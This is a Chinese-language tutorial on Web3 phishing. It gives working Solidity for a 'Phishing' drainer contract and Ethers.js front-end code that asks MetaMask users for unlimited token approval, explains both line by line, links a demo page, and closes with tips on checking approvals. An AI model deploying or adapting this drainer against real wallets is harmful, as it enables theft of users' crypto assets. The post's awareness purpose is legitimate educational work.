Web3 Phishing

Web3 釣魚攻擊是一種針對區塊鏈用戶的詐騙行為,旨在誘騙用戶授權或轉移他們的加密資產(如代幣、NFT)給攻擊者。與傳統網絡釣魚(如假冒銀行網站竊取密碼)類似,Web3 釣魚利用用戶的信任或疏忽,但目標是區塊鏈錢包和智能合約交互。這種攻擊也叫區塊鏈釣魚攻擊(Blockchain Phishing Attack)或智能合約釣魚(Smart Contract Phishing)

攻擊原理與釣魚行為

區塊鏈釣魚攻擊,運作方式如下:

部署合約

  • 攻擊者部署 Phishing 合約,並指定一個目標 ERC20 代幣的合約地址(例如 USDT)。
  • 部署後,攻擊者的地址被記錄為 owner

制做釣魚網站:

  • 制做一個專業設計的頁面, 可以調用目標代幣合約的 approve 函數,並授權 Phishing 合約從他們的帳戶轉移代幣。
  • 頁面誘導用戶點擊觸發授權按鈕。

誘騙受害者授權

  • 攻擊者通過釣魚網站、假應用或其他詐騙手段,誘騙受害者點擊觸發按鈕,並同意各種授權
  • 例如,受害者可能在一個假的 DeFi 網站上點擊「授權」,實際上是授權釣魚合約可取走大量代幣。

竊取代幣

  • 一旦受害者授權了足夠的代幣,攻擊者(owner)可以隨時調用 stealTokens 函數,指定受害者的地址和要竊取的代幣數量。
  • 合約會檢查:
    • 調用者是否為 owner
    • 受害者是否已授權足夠的代幣(通過 allowance)。
    • 代幣轉移是否成功(通過 transferFrom)。
  • 如果條件都滿足,代幣會從受害者的帳戶轉到攻擊者的地址。


攻擊合約

這段程式碼定義了一個名為 Phishing 的智能合約,基於以太坊區塊鏈,使用 Solidity 語言編寫。它的目的是模擬一個惡意行為:從受害者的帳戶中竊取 ERC20 代幣。以下是合約的主要功能和結構:

  • 合約名稱Phishing
  • 目的:通過 stealTokens 函數,從受害者的帳戶中轉移 ERC20 代幣到合約擁有者的地址。
  • 使用的標準:依賴 OpenZeppelin 的 ERC20 合約接口,處理標準的 ERC20 代幣(如 USDT、DAI 等)。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Phishing {
    address public owner;
    IERC20 public token;

    constructor(address _tokenAddress) {
        owner = msg.sender;
        token = IERC20(_tokenAddress);
    }

    function stealTokens(address victim, uint256 amount) external {
        require(msg.sender == owner, "Only owner can steal tokens");
        require(token.allowance(victim, address(this)) >= amount, "Not enough allowance");
        require(token.transferFrom(victim, owner, amount), "Transfer failed");
    }
}

程式碼逐行解析如下

合約頭部

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
  • SPDX-License-Identifier: MIT:這是程式碼的許可證聲明,表示該合約使用 MIT 許可證,允許他人自由使用和修改程式碼。
  • pragma solidity ^0.8.25;:指定合約使用的 Solidity 編譯器版本為 0.8.25 或以上(但小於 0.9.0),確保合約在兼容的編譯器上運行。
  • import "@openzeppelin/contracts/token/ERC20/ERC20.sol";:導入 OpenZeppelin 的 ERC20 合約接口,允許這份合約與任何符合 ERC20 標準的代幣交互。ERC20 是一個廣泛使用的代幣標準,定義了代幣的轉移、餘額查詢、授權等功能。

狀態變量

address public owner;
IERC20 public token;
  • address public owner;:定義了一個公開的地址變量 owner,用來儲存合約創建者的地址(即部署合約的人,通常是攻擊者)。
  • IERC20 public token;:定義了一個公開的 ERC20 代幣接口變量 token,用來與特定的 ERC20 代幣合約交互。IERC20 是 OpenZeppelin 提供的接口,包含了標準的 ERC20 方法(如 transferFromallowance 等)。

建構函數

constructor(address _tokenAddress) {
    owner = msg.sender;
    token = IERC20(_tokenAddress);
}
  • constructor(address _tokenAddress):這是合約的建構函數,在部署合約時執行一次。
  • owner = msg.sender;:將部署合約的帳戶地址(msg.sender)設為 owner,確保只有這個地址可以調用某些受限功能。
  • token = IERC20(_tokenAddress);:將傳入的 _tokenAddress(某個 ERC20 代幣合約的地址)轉換為 IERC20 接口,允許合約與該代幣交互。例如,_tokenAddress 可能是 USDT 或 DAI 的合約地址。

竊取代幣函數

function stealTokens(address victim, uint256 amount) external {
    require(msg.sender == owner, "Only owner can steal tokens");
    require(token.allowance(victim, address(this)) >= amount, "Not enough allowance");
    require(token.transferFrom(victim, owner, amount), "Transfer failed");
}
  • function stealTokens(address victim, uint256 amount) external:這是合約的核心功能,允許合約擁有者從指定的 victim 地址竊取指定數量(amount)的 ERC20 代幣。
    • external:表示該函數只能從合約外部調用(例如通過交易或另一個合約)。
    • address victim:受害者的地址,代幣將從這個地址轉出。
    • uint256 amount:要轉移的代幣數量。
  • require(msg.sender == owner, "Only owner can steal tokens");:檢查調用者是否為合約的 owner。只有部署合約的人(即 owner)可以執行這個函數,防止其他人濫用。
  • require(token.allowance(victim, address(this)) >= amount, "Not enough allowance");:檢查受害者是否已經授權(approve)給這份合約足夠的代幣數量。ERC20 代幣有一個 allowance 機制,允許帳戶 A 授權帳戶 B(這裡是合約地址)從 A 的帳戶中轉移一定數量的代幣。
  • require(token.transferFrom(victim, owner, amount), "Transfer failed");:調用 ERC20 代幣的 transferFrom 函數,從受害者的地址轉移 amount 數量的代幣到 owner 地址。如果轉移失敗(例如餘額不足),交易會回滾並顯示錯誤訊息 "Transfer failed"


釣魚前端html

模擬區塊鏈釣魚攻擊的前端頁面,與之前的 Phishing 智能合約搭配使用。這個頁面設計目的是誘騙用戶授權 ERC20 代幣(在這裡是模擬的 USDT 代幣),讓攻擊者可以竊取代幣。

整體功能概述

範例 https://raymond0820.github.io/test/fishdemobygemini2.html

這段 HTML 程式碼創建了一個簡單的網頁,模擬一個惡意網站的界面,誘導用戶點擊按鈕來授權代幣給 Phishing 合約。核心邏輯如下:

  • 頁面結構:一個簡單的 HTML 頁面,包含警告文字、按鈕和提示用戶檢查瀏覽器控制台的說明。
  • 樣式:使用 CSS 打造乾淨且吸引人的界面,模擬真實釣魚網站的專業外觀。
  • JavaScript 邏輯:使用 Ethers.js 庫與以太坊區塊鏈交互,通過 MetaMask 錢包讓用戶授權代幣給惡意合約。
  • 攻擊模擬:當用戶點擊按鈕時,頁面會觸發一個交易,請求用戶對 Phishing 合約進行無限量代幣授權(approve)。

JavaScript 邏輯解析

JavaScript 使用 Ethers.js 庫(v6)與以太坊區塊鏈交互,模擬釣魚網站誘騙用戶授權代幣的過程。以下逐段解釋:

引入 Ethers.js

<script src="https://unpkg.com/ethers@6/dist/ethers.umd.min.js"></script>
  • 從 CDN 載入 Ethers.js v6,這是一個用於與以太坊區塊鏈交互的 JavaScript 庫,支援與錢包(如 MetaMask)和智能合約的交互。

合約地址與 ABI

const PHISHING_CONTRACT_ADDRESS = "0x5f1caa852a7232336406daf6b13b7f0ee56ace42";
const MUSDT_CONTRACT_ADDRESS = "0xbd7ba6764f2b0a5cf4e3e1f74a0e925e4dd05e4b";

const musdtABI = [
    {
        "inputs": [
            { "internalType": "address", "name": "spender", "type": "address" },
            { "internalType": "uint256", "name": "amount", "type": "uint256" }
        ],
        "name": "approve",
        "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }],
        "stateMutability": "nonpayable",
        "type": "function"
    }
];
  • PHISHING_CONTRACT_ADDRESS:假設的 Phishing 合約地址(與你提供的 Solidity 合約對應)。這是惡意合約的地址,用於接收用戶的代幣授權。假如剛剛佈署後得到攻擊合約地址為0x5f1caa852a7232336406daf6b13b7f0ee56ace42
  • MUSDT_CONTRACT_ADDRESS:模擬USDT代幣合約地址。
  • musdtABI:定義了 mUSDT 代幣合約的 ABI(Application Binary Interface),僅包含 approve 函數的接口。ABI 是與智能合約交互的必要信息,告訴 Ethers.js 如何調用合約的函數。
  • approve(address spender, uint256 amount):允許 spender(這裡是 Phishing 合約)從用戶帳戶轉移指定數量(amount)的代幣。
    • 補充說明:approve 函數來自 MUSDT_CONTRACT_ADDRESS指定的合約,而非 之前Phishing 合約:
      • 前端程式碼(JavaScript)通過 Ethers.js 與一個名為 mUSDT 的 ERC20 代幣合約交互(地址為 MUSDT_CONTRACT_ADDRESS)。
      • approve 函數是 ERC20 標準的一部分,幾乎所有的 ERC20 代幣合約(例如 USDT、DAI 或你模擬的 mUSDT)都實現了這個函數。
      • Phishing 合約只需要與 ERC20 代幣合約交互(通過 IERC20 接口),並不需要自己實現 approve。

設置 Web3 環境

async function setupWeb3() {
    if (typeof window.ethereum !== 'undefined') {
        try {
            await window.ethereum.request({ method: 'eth_requestAccounts' });
            const provider = new ethers.BrowserProvider(window.ethereum);
            const signer = await provider.getSigner();
            return { provider, signer };
        } catch (error) {
            console.error("Failed to connect to wallet:", error);
            alert("Wallet connection failed. Please check MetaMask or browser settings.");
            return null;
        }
    } else {
        alert("Please install MetaMask wallet!");
        return null;
    }
}
  • setupWeb3:這個函數負責初始化與區塊鏈的連接。
  • window.ethereum:檢查瀏覽器是否安裝了 MetaMask(或其他相容的以太坊錢包)。
  • eth_requestAccounts:請求用戶授權,允許網頁訪問其錢包帳戶。這會彈出 MetaMask 的「連接到網站」提示。
  • ethers.BrowserProvider:創建一個 Ethers.js 提供者,連接到 MetaMask 的以太坊節點。
  • provider.getSigner:獲取用戶的簽名者對象,用於簽署交易(例如 approve)。
  • 錯誤處理:如果未安裝 MetaMask 或用戶拒絕連接,顯示錯誤訊息並返回 null

模擬釣魚攻擊

async function executePhishingAttack() {
    const web3 = await setupWeb3();
    if (!web3) return;

    try {
        const { signer } = web3;
        const musdtContract = new ethers.Contract(MUSDT_CONTRACT_ADDRESS, musdtABI, signer);
        const amountToApprove = ethers.MaxUint256;

        console.log("Requesting approval... Please confirm in your wallet!");
        const approveTx = await musdtContract.approve(PHISHING_CONTRACT_ADDRESS, amountToApprove);

        console.log("Approval transaction sent, awaiting confirmation...");
        await approveTx.wait();
        console.log("Approval successful!");

        console.log("Approval successful! The attacker can now transfer your assets from the backend.");
    } catch (error) {
        console.error("An error occurred", error);
        alert("Phishing operation failed. Please check the console.");
    }
}
  • executePhishingAttack:模擬釣魚網站的核心邏輯,誘騙用戶授權代幣。
  • new ethers.Contract:創建一個指向 mUSDT 代幣合約的對象,使用指定的地址和 ABI,並綁定用戶的簽名者(signer)。
  • ethers.MaxUint256:設置授權數量為最大值(2^256-1),這是釣魚攻擊的常見手法,允許攻擊者轉走用戶帳戶中的所有代幣。
  • musdtContract.approve:調用 mUSDT 合約的 approve 函數,授權 Phishing 合約(PHISHING_CONTRACT_ADDRESS)可以轉移用戶的代幣。這會觸發 MetaMask 彈出交易確認窗口。
  • approveTx.wait:等待交易在區塊鏈上確認,確保授權成功。
  • 日誌與錯誤處理:在控制台輸出操作進度(如「正在請求授權…」),並在失敗時顯示錯誤訊息。

按鈕事件綁定

document.getElementById('phishingButton').addEventListener('click', executePhishingAttack);
  • executePhishingAttack 函數綁定到按鈕(id="phishingButton")的點擊事件。當用戶點擊「啟動釣魚攻擊 (DEMO)」按鈕時,觸發釣魚邏輯。

取得受害者授權

當使用者訪問釣魚前端html並按下啟動釣魚攻擊 ,錢包就會出現訊息要求你同意,一但同意後,前端 JavaScript會得到受害者的授權 (Approval),惡意合約就可以操控使用者的錢包,過程如下:

  • 前端程式碼會引導受害者發送一筆 approve 交易。
  • 這筆交易的目的是讓受害者的錢包授權給惡意合約(Phishing),允許它轉走受害者錢包裡的 USDT 代幣。
  • 這個授權動作是整個流程中唯一需要受害者親自簽名並確認的步驟。

授權

受害者授權給惡意合約,這就是整個釣魚攻擊中最關鍵、也最致命的一步。

授權(approve)這個動作,就像是受害者親手交出了一把金庫鑰匙給攻擊者。只要這把鑰匙交出去了,攻擊者就可以在任何時候,隨心所欲地從金庫裡拿走資產。

從這個角度來看,釣魚攻擊並不是在「破解」區塊鏈的技術,而是在利用區塊鏈的正規功能。攻擊者並不是在駭客入侵你的錢包,他們只是在誘騙你,讓你自願地給予他們轉走你資產的權利。

授權的有效性取決於你授權時給予的金額

  • 單次授權:如果你授權的金額是 1000 個 mUSDT,那麼惡意合約(或任何獲得授權的地址)最多只能從你錢包轉走 1000 個 mUSDT。當這 1000 個代幣被轉走後,授權額度就會用完,除非你再次授權,否則攻擊者無法轉走更多。
  • 無限授權:這就是為什麼釣魚攻擊者通常會使用一個極大的數字來請求授權,例如我們在範例中使用的 ethers.constants.MaxUint256。這個數字代表 2^256-1,是 uint256 數據類型的最大值。在實際操作中,這相當於給予無限的授權。一旦你簽署了這筆交易,惡意合約就可以在任何時候、無限次地從你錢包中轉走該代幣,直到你的錢包餘額歸零。

攻擊者收割

攻擊者要自己呼叫攻擊合約裡的 stealTokens

  • 這是流程中最關鍵的環節。在現實世界中,這個動作由攻擊者的後台伺服器或腳本自動完成。
  • 攻擊者會使用自己的錢包來發起這筆交易,呼叫 stealTokens 函數。
  • 攻擊合約中的 require(msg.sender == owner, ...) 檢查的就是這個步驟:它確保只有合約的部署者(也就是攻擊者 )才能執行這個後門操作。

指定代幣金額與受害者地址

  • 在呼叫 stealTokens 時,攻擊者會傳入兩個參數:受害者的地址 (victim) 和他們想要竊取的金額 (amount)。
  • 這個金額不能超過受害者給予的授權額度。由於你的前端程式碼使用了 ethers.MaxUint256 進行無限授權,攻擊者可以一次轉走所有代幣。

攻擊合約就會從受害者的錢包拿到代幣

  • 這是流程的最後一步。惡意合約在成功執行 stealTokens 函數後,會調用 ERC-20 代幣的 transferFrom 函數。
  • transferFrom 的功能就是:從「被授權者」的錢包中,轉走「授權者」的代幣。
  • 由於惡意合約已經在剛剛獲得了授權,它現在有權利從受害者的錢包中,將代幣轉移到攻擊者的錢包中。

查詢授權的方法

要檢查你的錢包帳號對哪些合約有授權,可以使用一些專門的區塊鏈工具,它們能清晰地顯示你的授權狀況。

  • Revoke.cash:這是一個專門用於檢查和撤銷授權的知名工具。你只需要連接你的錢包,它就會自動掃描你對所有代幣的授權,並列出詳細清單。
  • DeBank:DeBank 是一個 DeFi 資產管理平台,它也內建了授權檢查功能。它會將你的資產和授權狀況一併呈現。

Revoke.cash範例